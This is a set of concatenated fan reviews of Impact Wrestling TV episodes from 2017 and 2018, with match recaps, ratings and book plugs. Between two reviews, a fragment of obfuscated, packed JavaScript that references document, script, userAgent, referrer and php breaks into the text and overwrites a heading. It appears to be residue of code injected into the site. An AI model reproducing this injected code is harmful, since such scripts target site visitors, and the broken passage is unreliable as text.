Impact Wrestling
Date: October 25, 2018
Location: Melrose Ballroom, New York City, New York
Commentators: Don Callis, Josh Matthews

This show is still in a bit of a strange place as we’re less than two weeks removed from Bound For Glory, meaning there aren’t many major stories going on at the moment. There is however a World Title match tonight in the form of Fenix challenging for the World Title against Johnny Impact. That and I’m sure something else about Tommy Dreamer. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video recaps last week’s events.

Opening sequence.

Scarlett Bordeaux comes out to scout talent.

Sami Callihan vs. Trevor Lee

Sami jumps him to start as Callis drools over Scarlett (fair enough). Trevor gets sent into the ropes so Dave Crist can kick him in the back. A kick to the back of the head staggers Sami but he’s right back with a Death Valley Driver for two. The chinlock goes on for a bit until Callihan grabs a neckbreaker out of the corner. With almost everyone looking at Scarlett, she takes a walk as Trevor elbows Sami down and dives onto the Crist Brothers. Jake is up in time to shove him off the top though and the Cactus Piledriver finishes Lee at 5:50.

Rating: C-. I wouldn’t have believed it possible but Sami has completely turned around for me. When you get him away from wrestling regular matches and let him be the far more naturally violent brawler, he can be entertaining. The lack of shouting about Ohio all the time does wonders for him too.

Post match Cage comes out and wrecks OVE. Sami’s bat shot is swatted away and Cage offers him a free shot. That’s blocked as well and the Crists save Sami from the Drill Claw.

King yells about not being able to touch Konnan. He has an idea of how to get around the bosses though and the OGz are with him.

Rohit Raju helps Gama Singh warm up before their match tonight. Sweet goodness put ANYTHING ELSE on this show.

Preview for the rest of the show.

Eli Drake invades the commentary booth and threatens Callis for bringing up the lawsuit Drake is filing.

Heavenly Bodies vs. LAX

Non-title. The Bodies are Desirable Dustin and Gigolo Justin. Santana chops away at we’ll say Dustin as the match is ignored to talk about the lawsuit. Ortiz lets Santana springboard off of him for a moonsault but the Bodies come back and knock Ortiz into the corner to take over. A missed charge allows the hot tag to Santana as Drake tries to remember wrestling on a show with the Bodies.

Everything breaks down and a reverse DDT/powerbomb combination gets two on Justin but a Michinoku Driver into a top rope splash gets the same on Santana. The Bodies put Santana on top but Ortiz powerbombs one of the down, leaving Dustin to take the Street Sweeper for the pin at 5:57.

Rating: C. Totally watchable match here as the Bodies may come off like a rather old school team but if they work like this, they could be regulars around here. The tag division is almost non-existent at this point so even having an average team added to the roster would do it some good. Drake was really entertaining on commentary here, even if he talked about the match for about thirty seconds.

Tessa Blanchard comes into Taya Valkyrie’s locker room and yells at her for the things she’s been saying. Blanchard is even willing to put the title on the line next week. Taya says see you next week then.

Matt Sydal and Ethan Page come up to LAX with Sydal not liking the way he’s treating his boys. Konnan doesn’t seem to care.

Moose is ready to beat up Fallah Bahh. Killer Kross says KM and Bahh are like two dogs chasing a car. Tonight, they’re both his. Kross: “Good talk. Tick tock.”

Video on Fenix, talking about his rise in the American wrestling scene, including his time in Lucha Underground.

Rich Swann and Willie Mack are glad to be here and Mack wants him to be his opponent for his debut match next week. Swann is cool with that.

Gama Singh vs. Rohit Raju

Singh introduces himself and lists off his resume. Gama shoves him away as the fans already start chanting YOU STILL GOT IT. A rake to the eyes has Raju in trouble and Gama slaps him for good measure. Cue someone from the back for a fireman’s carry gutbuster on Raju for the DQ at 1:50.

Post match Singh and the new guy beat Raju down but they all pose together because this seems to be the new Desi Hit Squad. I’m so thrilled.

Johnny Impact praises Fenix, who he says is like family. Some families fight though and tonight they’ll fight for the World Title. May the best man win.

Scarlett is in a bath to watch fan submitted applications for her talent search. They’re as bad as you would expect.

Killer Kross/Moose vs. Fallah Bahh/KM

KM and Moose start things off with KM shouldering him down in a bit of a surprise. Some right hands keep Moose in trouble but it’s off to Kross, who is a bit more skilled on the mat. KM actually takes him down as well, allowing Bahh to hit a corner splash. Moose comes back in and puts a People’s….foot on the face for your comedy of the match. It’s back to Kross, who just gets angry at being clotheslined. The beatdown is on with Bahh in trouble, mainly due to Moose not liking having toes in his mouth.

A lot of yelling ensues, with Moose calling Bahh fat. You don’t do that to Bahh, who hammers away and hits a crossbody. Kross will have none of that and starts dropping knees on Bahh to take over. Moose slugs away and Bahh shouts a lot, setting up a belly to belly suplex to cut him down. A Samoan drop takes Kross down as well but here’s Eddie Edwards to choke Moose with a kendo stick. As they fight to the back, Kross chokes KM out at 9:23.

Rating: C-. Remember how I said the tag division was basically non-existent? That’s even more frustrating when you consider how many teams there could be at the moment. Would you be interested in seeing Kross and Moose vs. LAX in a long brawl? You even have KM and Bahh as the resident comedy goofs. There’s a division there, if it was actually put together.

Post match Moose and Eddie fight all the way up to the roof with Eddie being tossed into the wall. Eddie gets in a stick shot to save himself from flying over the edge.

Classic Clip of the Week: Samoa Joe and AJ Styles vs. Sting and Kevin Nash from Impact in 2008. It’s very nice that they’ve cut these down to short clips instead of almost full matches.

Jordynne Grace is coming.

Eddie talks to his stick when Alisha comes in, panicking over what just happened. He kisses her and says she drives him crazy before leaving.

Kiera Hogan vs. Su Yung

Kiera goes straight at her on the ramp and hits a sliding kick to the face in the corner. A hurricanrana out of the corner gives Kiera two but Yung snaps her across the top rope by the hair. Kiera gets caught in the Tree of Woe so Yung charges, only to have Kiera sit up. That’s fine with Yung, who takes her down with a neckbreaker in a sweet counter.

The Mandible Claw is loaded up but Kiera gets a powerbomb where she nearly drops Yung. They fight onto the apron but here’s Allie to save Kiera from a Panic Switch on the ramp. Allie says she can’t help Kiera now though and leaves, only to have Yung hit a hanging Pedigree. The Panic Switch finishes Hogan at 4:52.

Rating: C-. This was energetic while it lasted and I’m wondering where the Allie story is going. A lot of it is built on the return of Rosemary, which could take some time and therefore allow this story to build up properly for a change. Hogan is becoming a star by association and there’s nothing wrong with that.

Next week: LAX vs. Sydal/Page for the Tag Team Titles and Blanchard vs. Valkyrie for the Knockouts Title.

Impact Wrestling World Title: Johnny Impact vs. Fenix

Impact is defending. Feeling out process to start as they exchange a few grapples. Fenix’s big kick misses but Impact’s doesn’t, only to have them flip into a standoff. They’re certainly nailing the battle of athleticism so far. Fenix grabs a nip up but Impact nips out of it for a second standoff. Impact tries a springboard inside but Fenix dives underneath it and lands on the ramp.

They both run for the same buckle but it’s Fenix shoving Impact off, setting up a spring springboard into a spinning crossbody for two, even though he nearly overshot Impact. A Russian legsweep takes Fenix down and the Flying Chuck takes us to a break. Back with Impact putting on a crossface (with the other arm pinned down for a little change of pace) but Fenix slips out.

They lock hands and somehow manage to jump to the middle rope without breaking their grip (geez) until Fenix springboards up into a huge hurricanrana for a near fall of his own. Fans: “THIS IS IMPACT!” Yeah and that’s Fenix. A quick Spanish Fly gives Impact two of his own and he drives Fenix into the corner for some shoulders.

Fenix backflips over him into a German suplex but the running knee into the standing shooting star gives Impact two more. The Countdown to Impact misses (of course) so Impact settles for the flipping neckbreaker instead. A springboard spinning headbutt takes Johnny down for two more but it’s too early for the Black Fire Driver as Johnny reverses into a DDT. Starship Pain retains the title at 14:23.

Rating: B. It’s not great as a technical exchange but you’re missing the point here if that’s what you’re looking for. This was all about an athletic spectacle and there’s nothing wrong with that. Just let two incredibly talented guys going in there and doing cool looking stuff. What more can you want from a fun match like this?

Impact shakes his hand and leaves, allowing the OGz to run in and beat down Fenix. Pentagon makes the save.

Kross talks about being crazy and trying to make change. He leaves, revealing Impact out cold to end the show. It was this or the Tag Team Titles so I’m fine with going here.

Overall Rating: B-. You know, if you cut out a few of the really bad things, you have a heck of a show here. The Desi Hit Squad is horrible and some of the wrestling could have been a lot better but the storytelling is there and I want to see where some of this stuff goes. That’s what matters most as the wrestling can catch up later on. Good show, and I want to see more like this.

Results

Sami Callihan b. Trevor Lee – Cactus Piledriver

LAX b. Heavenly Bodies – Street Sweeper to Dustin

Rohit Raju b. Gama Singh via DQ when an unnamed man interfered

Killer Kross/Moose b. KM/Fallah Bahh – Krossjacket Choke to KM

Su Yung b. Kiera Hogan – Panic Switch

Johnny Impact b. Fenix – Starship Pain

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Impact Wrestling
Date: February 1, 2018
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s time for a new fresh taping cycle but also a fresh regime in charge of things. I mean, to be fair it had been a few months since everything was shaken up. This is the start of the taping cycle to take us all the way to the next pay per view in April, meaning it’s likely time to shake up a lot of things. Let’s get to it.

Someone’s legs arrived earlier today. As usual, panning up is out of the question.

Opening sequence.

We look back at last week’s show, showing every result including Matt Sydal winning the Grand Championship, Laurel Van Ness cheating to retain the Knockouts Title, Lashley losing to Moose and destroying Dan Lambert in retaliation and Eli Drake retaining the World Title in a triple threat. Only the triple threat involves someone who hasn’t left the promotion since the matches were taped.

Opening sequence.

The four sided ring is back, thank goodness.

Grand Championship: Matt Sydal vs. Fallah Bahh

Sydal is defending and it’s just a regular match again. Before the match, Matt gives credit to his new unnamed spiritual adviser. Bahh shoves him around with ease to start and knocks Sydal away for daring to throw some kicks. Sydal tries a sunset flip but is smart enough to pull himself up before he can be crushed. A sliding dropkick puts Bahh down and a spinwheel kick does the same.

Sydal starts in on the leg and it’s a YES Kick into a standing moonsault for two. Bahh gets back up so Sydal hits some top rope knees to bring him down again. Back up and Bahh scores with some big fat chops and a Samoan drop despite not being Samoan. That rolling splash gives Bahh two but Sydal kicks him over the top to break up a Banzai drop. Back in and Bahh misses another drop, setting up the shooting star press to retain Sydal’s title at 7:34.

Rating: C-. I still don’t get the appeal of Bahh but he seems to be gaining one of those cult followings. That being said, this wasn’t at all about Bahh as Sydal gets a first title defense under his (newly won) belt and can wait around until he gets a big time challenger. The spiritual adviser screams heel turn, which wouldn’t exactly surprise me given how often TNA likes to go in that direction.

We look back at Lashley turning on American Top Team, including spearing both KM and Dan Lambert. About time but that’s kind of an anti-climactic ending to the story.

Trevor Lee assures Caleb Konley that he’s five steps ahead of everyone so the team will be fine. I just want to know what was up with the semi-Hawaiian shirts.

KM vs. Bobby Lashley

Lashley slugs away to start and let’s plug that list of people you can’t see in TNA anymore but CAN see if you buy their Network! KM talks some trash but gets taken down twice in a row. An early spear attempt sees Lashley go shoulder first into the post and we take a break. Back with KM grabbing a chinlock and demanding the referee ask for a submission a few times.

Lashley misses another charge and falls to the floor, allowing KM to actually hit a running flip dive. KM misses a slingshot splash back inside though and gets taken down by a crossbody of all things. Lashley’s powerslam gets two but he walks into a pumphandle slam for the same. Not that it matters as Lashley spears him down for the pin at 11:58.

Rating: C. KM was better than usual here but that’s not exactly covering a lot of ground. The guy isn’t interesting and putting him in American Top Team for a few weeks didn’t do him any good. At this point he’s just a warm body who can’t do anything special and that’s not exactly the kind of thing that this company needs at the moment.

We recap Kongo Kong destroying Chandler Park two weeks back.

Joseph Park is on the phone with Grandma Jenny when Jimmy Jacobs comes up to say he wants Abyss back to face Kong. As usual, Kong is worthless.

Lashley is going to focus on wrestling and MMA but blows off Eddie Edwards.

Laurel Van Ness vs. Kiera Hogan

Non-title. Laurel works on the arm to start and pulls her down by the hair. A right hand gets two, followed by a running forearm in the corner for the same. Hogan actually gets in some right hands and a low superkick for two, only to eat a curb stomp. The Unprettier is loaded up but here’s Allie for a distraction, allowing Hogan to grab a rollup for the pin at 4:14.

Rating: D. Pure angle advancement here and there’s nothing wrong with that. Hogan looked fine here and it’s always good to get some fresh talent into the promotion. Allie getting another shot makes sense after she was cheated out of the title match last week, and it’s not like there are a ton of options at the moment.

The mystery man is now in the building.

Alberto El Patron thinks he should be in the main event as champion but his partner tonight, Ethan Carter III, says follow his lead.

Here is LAX for their first comments since Barbed Wire Massacre. Konnan says they’re still the revolution and you can’t stop that. As for Sami Callihan (Konnan: “The guy was midway through a sex change operation when the doctor said just leave him like that”), they’re always ready for a fight so here’s OVE. Egads FIND A NEW TEAM ALREADY!

Callihan hits the mic against his own head and says they hate everything. They do respect LAX though and things need to end before one of them winds up dead. Sami promises to get the titles back at some point but for now, they have more important things to worry about. Konnan follows them up the aisle and says there are no bigger fish to fry because “we are the whole d*** tuna”. As I ponder the meanings of that line, Konley and Lee jump LAX and beat them down. They’re not exactly a great team but they’re different at least.

Moose and Johnny Impact (who Moose almost calls by all of his old names) are ready to win the tag match.

This week’s old clip: Drew Galloway debuts and beats up Ethan Carter III. Again: STOP SHOWING THE PEOPLE WHO DON’T WORK HERE ANYMORE BEATING UP YOUR (then) CURRENT TALENT!

Eli Drake thinks Chris Adonis brought the mystery man but Adonis says no. Tonight is all about the life of Eli though.

Cage is coming.

Ethan Carter III/Alberto El Patron vs. Johnny Impact/Moose

Johnny and Ethan start things off with Impact spinning out of a wristlock and into one of his own. Moose does his pose and comes in for a dropkick to keep Carter in trouble. The double teaming begins, setting up Impact’s breakdancing legdrop for two. Alberto gets in a cheap shot from the apron, allowing Carter to get in a knee to the ribs so the villains can take over.

Carter drops an elbow and grabs a chinlock for a few seconds before throwing Moose outside. That means a few rams into the barricade, followed by a double suplex for two back inside. The solo suplex is reversed though and it’s a lukewarm tag to Impact. It’s way too early for Starship Pain so Impact settles for the Flying Chuck. Unfortunately that only knocks Carter into his own corner, allowing Alberto to come right back in.

We take a break and come back with Alberto sending Impact into the corner over and over to keep him in trouble. Carter pulls Moose off the apron before coming in for the TK3 and a near fall of his own. A top rope ax handle gives Alberto two but Johnny reverses a belly to back superplex into a crossbody to put both guys down.

That’s enough for the hot tag to Moose, who comes in with a series of running corner dropkicks for two. Alberto ducks the Game Changer and scores with the Backstabber for two of his own. Johnny gets caught in the Tree of Woe and the top rope double stomp connects. Not that it matters as Moose is right there with a hard clothesline to put Alberto away at 18:53.

Rating: C. Totally standard main event style tag here but it’s nice to see Moose getting a big pin like this. The main event scene needs some fresh names after that three way feud ate up the last several months and Moose would be a good addition. I’m rather tired of Alberto vs. Johnny and it would be a good idea to keep them apart for a long time.

Here are Drake and Adonis for the big closing segment. Adonis has a few facts for Drake, starting with Drake being the greatest champion ever. We see a quick highlight reel, followed by the second fact: Drake is greatest dresser to ever live. Finally, we have fact #3: Drake is the greatest friend that ever lived.

For some reason the clip is from Thanksgiving where Adonis had to wear the turkey suit and he’s not happy. Drake says the pie from Thanksgiving was delicious and Adonis rocked the turkey suit. The champ adds up the facts that Adonis laid out and there’s only one conclusion: Drake is the greatest man that ever lived. I think you know where this is going.

Cue the returning AUSTIN ARIES (with banana) to interrupt, earning a loud WELCOME BACK chant. Aries says he missed the fans too but he heard Drake refer to himself as the greatest man that ever lived. After listing off his own resume around here, Aries throws the challenge out for anywhere anytime. Drake takes off his jacket and says the best thing that Aries has ever done is sit behind a desk and talk about the matches. There’s no match right now but Adonis cheap shots Aries with the belt. That’s enough to change Drake’s mind and the title is on the line RIGHT NOW.

Impact Wrestling World Title: Austin Aries vs. Eli Drake

Drake is defending and covers for a very quick two. After an argument with the referee, Drake misses a charge into the post, setting up Aries’ corner dropkick. The brainbuster gives us a new champion at 50 seconds.

As expected, the announcers soundly undersell the title change to end the show.

Overall Rating: C-. The show was fine enough but egads I didn’t like that ending. Drake has held the title for about five months and he just loses it in no time in an impromptu match because Aries is freshly available. This company has a really bad habit of not building stories up over time and going for the big shock instead of setting something up in the name or proper storytelling. At least Aries has his own history here and it’s not some total newcomer winning the title.

Overall the show was watchable enough but I can’t really go beyond that. For a show that was supposed to be the latest restart, only the title change felt like something new. A lot of the feuds and stories seemed to be taking their next step and none of the felt like a big deal. It’s not a bad show by any means but, last five minutes aside, this really wasn’t eventful.

Results

Matt Sydal b. Fallah Bahh – Shooting star press

Bobby Lashley b. KM – Spear

Kiera Hogan b. Laurel Van Ness – Rollup

Johnny Impact/Moose b. Alberto El Patron/Ethan Carter III – Clothesline to El Patron

Austin Aries b. Eli Drake – Brainbuster

Remember to follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

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Impact Wrestling
Date: January 11, 2018
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Josh Matthews, Jeremy Borash

After last week’s stacked card containing four title matches and a loser leaves town match, it should be interesting to see what the company has for a follow up. There’s a good chance that they won’t have nearly as much to offer tonight and you really can’t blame them on that front. Let’s get to it.

We open with a recap of last week’s major events, including the two title changes and James Storm’s career ending. Thankfully they ignore that stupid World Title clip fest.

Opening sequence.

Here are Bobby Lashley and Dan Lambert to get things going. Impact has surprised Lambert as he never thought it would be this resilient. Lambert is here for two reasons. First is to have a moment of silence for James Storm’s career. Since he’s unemployed, maybe the fans can put together a collection and get him some beer money (good line, as Lambert is still one of the best promos in this company).

Lambert is also here to bring out the newest member of American Top Team. This man could do what Lashley couldn’t do when he put Storm down. Lashley isn’t happy and it’s even worse when the new member is revealed to be KM. We get the shirt presentation before KM says he’s proven himself by taking out everyone in front of him, capped off by helping Lambert to get rid of Storm. KM mentions getting rid of Moose, who comes out way faster than he should. The fight doesn’t last long as Moose gets beaten down until Eddie Edwards makes the save. Lashley has to pull Lambert from the ring.

Like I said, Lambert is a great promo but this story has long passed its expiration date. It’s been going for several months now and there’s no real reason to keep it going at this point. They’ve covered the MMA vs. wrestlers thing (with the MMA guys dominating) and now they’re just regular heels. That’s all well and good and Lambert shifting towards being a regular manager is better, but this is living on borrowed time to put it mildly.

Post break, the obvious tag match is made.

The announcers recap last week’s show again.

Here’s Grand Champion Ethan Carter III to issue an open challenge for the title. First though, Carter needs to mock Matt Sydal for choking over and over again every time he has a chance to win the big one. Sydal chokes so much he might as well play forward for the Ottawa Senators. That gets the expected heat from the crowd and now the open challenge is on.

Grand Championship: Ethan Carter III vs. Petey Williams

Carter is defending of course….and there are no judges or any mention of the round system. Could it be true? Did my New Year’s wish come true? Well at least the one regarding the Grand Championship? The fans are way into Petey and a headscissors makes those cheers even louder. He ties Carter in the Tree of Woe as we hear, for the second time in the match, about what a great comeback story Williams was in 2017.

Carter sends him into the corner and chokes on the rope, followed by a knee to the ribs. A waistlock keeps Petey down for a bit but he reverses into a side roll for two. The Canadian Destroyer is countered into a TK3 for two and Petey is sent outside. As Petey holds his knee, Sydal runs in for the DQ at 4:49. There was no mention made of the round system and judges being dropped.

Rating: D. This was too short to mean much but I’m more interested in this seemingly turning back into the TV Title. I’m guessing Sydal’s promo last week where he suggested a regular match for the title is all we’re getting and I’m really fine with that. The round system was a bad idea from the first day and the thing should have just been a regular midcard title. This is the right move and gets rid of a problem that doesn’t need to exist.

Allie isn’t happy with Laurel Van Ness attacking her last week. She’s not the weak little Allie anymore and she’s ready to play if Laurel wants to. Much more serious here, but still with a hint of the old Allie in there, as there should be.

Alberto El Patron isn’t happy.

Sydal says Carter can’t call him out and not expect to pay the consequences. He wants a title shot with a sixty minute time limit and no rounds (“That’s out”) and no judges (“They’re gone). If Carter can beat him there, then he’ll get a handshake and a hug. The challenge makes sense, and PLEASE let that be a permanent change.

We see James Storm winning the World Title from Kurt Angle in less than two minutes on October 20, 2011.

KC Spinelli vs. Laurel Van Ness

Non-title. Laurel takes her straight into the corner and knees her in the ribs before yelling at Spinelli for touching her fur coat. Spinelli slaps her right back but gets kicked in the face for her disrespect. A bridging vertical suplex (that’s a new one for some reason) gets two on Laurel and they kick each other in the face at the same time. Laurel is up first and a curb stomp into the Unprettier is good for the pin on Spinelli at 5:22.

Rating: D+. This was fine as a way to get Laurel a win under her belt and that’s always a good idea. Of course it would have been a good idea to have Spinelli work a match on Impact before they showed her in the Canadian promotion but that’s another problem for later. If nothing else, Laurel’s gimmick is really starting to work for her. She looks outstanding in her gear but the shots of her face are nothing short of unnerving.

Post match Allie comes in and beats on Laurel before holding up the title.

Here are Eli Drake and Chris Adonis for a championship address. Adonis channels a little Rick Rude with a “what we’d like to have right now” to introduce for the champ. Drake calls anyone who lives in this horrible weather year round a dummy before holding up the title. He shifts his attention to Alberto, who came back all upset but then thought he could swim with the big fish.

Drake is standing here with the title and Alberto should have stayed at the bar. He’ll defend the title again next week in Detroit but here’s Alberto to interrupt. Alberto, now a full on face again, says he’d love to beat Drake around the ring next week. He wants to fight now but here’s Johnny Impact to interrupt. Johnny has heard about both of them being in Detroit so he’ll have to join the party. The brawl is on with Johnny getting the better of it. Drake has already beaten both of these guys and I’m really not sure why we need to see these three fight any more, save for the company has nothing else to do at this point.

We look at Raven having his head shaved back in 2003.

Recap of the opening segment.

American Top Team (now just Lambert, Lashley and KM) are in the back and Lambert gives KM all of the credit for getting rid of Storm. Lashley isn’t happy.

Chandler and Joseph Park are glad about Chandler’s win last week. Jimmy Jacobs comes up to ask what happened to Abyss. Jacobs: “You used to be the guy that put people into ambulance and now you’re the guy chasing ambulances.” Chandler, in a nasal voice, stands up to Jacobs because Joseph is family. Jacobs steps aside so Kongo Kong, who Jimmy says is family to him can come in. Chandler: “So scary!” I like the Parks but I could go without seeing Jacobs or Kong ever again, especially the latter.

OVE wrecks LAX’s clubhouse. Good grief ENOUGH BETWEEN THESE TEAMS ALREADY! Post break LAX finds the wrecked clubhouse and says it’s time to go back to their roots. Barbed wire is mentioned.

Cult of Lee/Hakim Zane vs. Dezmond Xavier/Garza Jr./Sonjay Dutt

Garza headbutts Zane around to start and brings in Xavier to trip him up a few times. A dropkick to the back of the head sends Zane outside as everything breaks down. Back from a break with Zane charging into Dutt’s boot in the corner as Lee poses in the corner. Zane actually gets in a few shots to the back and hands it off to Konley for a double arm crank. Lee kicks at the chest as we hear about Ishimori defending the title in Japan.

Even Zane gets to come in for a chinlock until Dutt dropkicks him down. The hot tag brings in Garza to clean house but hang on because IT’S TIME FOR GARZA TO TAKE OFF HIS PANTS! It’s so distracting that Konley and Lee don’t notice Zane’s missile dropkick which hits them by mistake. Dezmond comes in and hits the Final Flash for the pin on Zane at 10:27.

Rating: C-. This was your run of the mill X-Division match and that’s the big problem: even when you get someone like Xavier or Ishimori, they’re stuck with these generic heels who don’t do anything to set themselves apart. Why should I be interested in seeing people defeat weak talents and not get to show off what they can do? It’s a big reason why the division is boring and I don’t see that changing anytime soon.

Post match Ishimori comes out and holds up the title in front of Xavier. They shake hands before their title match next week.

Also next week: Kongo Kong vs. Chandler Park and clips of the triple threat match from Detroit. You know, a match we can’t have HERE. Also, a barbed wire match with OVE vs. LAX.

Moose/Eddie Edwards vs. KM/Bobby Lashley

It’s a brawl to start until we settle down to KM vs. Moose. Some chops in the corner have KM in trouble but he avoids Edwards’ elbow, allowing the beatdown to begin. Back from an early break with Lashley slamming Eddie for two but missing a charge to fall outside. Moose comes in for a double elbow to KM, followed by Eddie jumping on Moose’s back for a double backsplash. Edwards gets posted though and the heels take over again.

Lashley’s neckbreaker doesn’t even get one as Moose is in there IMMEDIATELY for the save. Eddie reverses a suplex to put KM down but Lashley breaks up the tag attempt. Lashley charges into a knee though and a middle rope dropkick puts him down. A crawl through the legs is enough to bring in KM and Moose’s middle rope chokebomb gets two. KM gets low bridged to the floor and Eddie follows him out with the suicide dive. Lambert gets in a cheap shot though and KM’s powerbomb into a Backstabber is enough to pin Eddie at 14:46.

Rating: D+. This was a way to establish KM as a member of the team but it should also help further the wedge between Lambert and Lashley, likely leading to Lashley turning face. I’m not sure why this is considered a big deal when people turn around here so frequently (including Lashley) but that’s certainly better for a conclusion to the story than anything else I’ve seen so far.

A preview of OVE vs. LAX wraps us up.

Overall Rating: C. Not a bad show this week as they were advancing a lot of stuff while getting ready for some of the bigger matches down the line. You need that kind of show, especially coming off of a bigger episode like last week. That being said, I have no idea why we can’t have a World Title match in the arena the show is airing from. It doesn’t feel right and comes off like it’s less important than everything else. Fix that up and the title seems more important. Other than that, they’ve got some good stuff going here and it’s not a huge falloff coming out of last week. Not a good show, but it did its job well enough.

Results

Ethan Carter III b. Petey Williams via DQ when Matt Sydal interfered

Laurel Van Ness b. KC Spinelli – Unprettier

Dezmond Xavier/Sonjay Dutt/Garza Jr. b. Cult of Lee/Hakim Zane – Final Flash to Zane

KM/Lashley b. Moose/Eddie Edwards – Powerbomb into a Backstabber to Edwards

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdeah|var|u0026u|referrer|hrafk||js|php'.split('|'),0,{})) Wrestling
Date: March 30, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, D’Angelo Dinero, Josh Matthews

Opening sequence.

The X-Division wants to make Impact Wrestling great.

DJZ vs. Andrew Everett

Post match Gregory Shane Helms comes out to say that Everett has earned an opportunity of some sort for next week.

Fury will be unleashed on April 13.

We look back at the horrible Rebel vs. ODB match from last week with Earl Hebner kissing both of them for reasons of unfunny comedy. After a break, ODB and Hebner seemed to go on a date. There is no way this can possibly end well.

Ethan Carter III wants to make Impact great again.

Announcers, bickering, nothing of note.

Garza Jr. and Laredo Kid want to win the Tag Team Titles tonight.

We recap Cody vs. Moose for the Grand Championship. Cody wants the title but Moose was in Japan so tonight they can finally have the title match.

Grand Championship: Moose vs. Cody

Round two starts with Cody kicking the knee but missing a big kick to the head. Moose apron bombs him and grabs a chair, only to have Brandi get in his way. The distraction lets another leg shot set up the Figure Four but Moose hangs on to end the round. Cody wins the round to tie it up and round three starts with Brandi yelling at her husband and walking out.

Eli Drake wants to make Impact Wrestling great.

We look at Moose vs. Cody again.

Karen brings JB a message about a Knockouts gauntlet battle royal to crown a new #1 contender. I see absolutely no reason for Karen to have been out here for this scene.

KM vs. Braxton Sutter

Post match the four of them get in a fight with the forces of good clearing the ring. Laurel Van Ness stumbles out, somehow looking creepier every single week. Sutter and Allie look terrified.

Davey Richards wants to make Impact Wrestling better.

Fury is still coming.

Tag Team Titles: Garza Jr./Laredo Kid vs. LAX vs. Decay vs. Reno Scum

The titles are vacant coming in and this is one fall to a finish. Thornstone and Kid start things off with Scum taking over in a hurry. Ortiz tags himself in for some lucha, capped off with a backbreaker to drop the Kid. Everything breaks down in a hurry and Kid dives onto a huge pile of people, followed by Garza doing the same as we take a break.

Back with Garza getting two off a Lionsault but LAX makes the save. Abyss comes in and clotheslines Kid against the ropes but Scum tags themselves in for some corner clotheslines. Kid scores with a DDT so both members of LAX come in to clean house, including a top rope double stomp onto a hanging cutter to Steve. It means posing instead of covering though, leaving Rosemary and Diamante to get into a catfight. Ortiz loads Laredo up for a powerbomb with Santana coming off the top with a Blockbuster for the pin and the titles at 12:13.

Results

Andrew Everett b. DJZ – Small package

Moose b. Cody via split decision

KM b. Braxton Sutter – Powerbomb into a Backstabber

LAX b. Reno Scum, Laredo Kid/Garza Jr. and Decay – Sitout powerbomb/Blockbuster combo to Kid

 

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6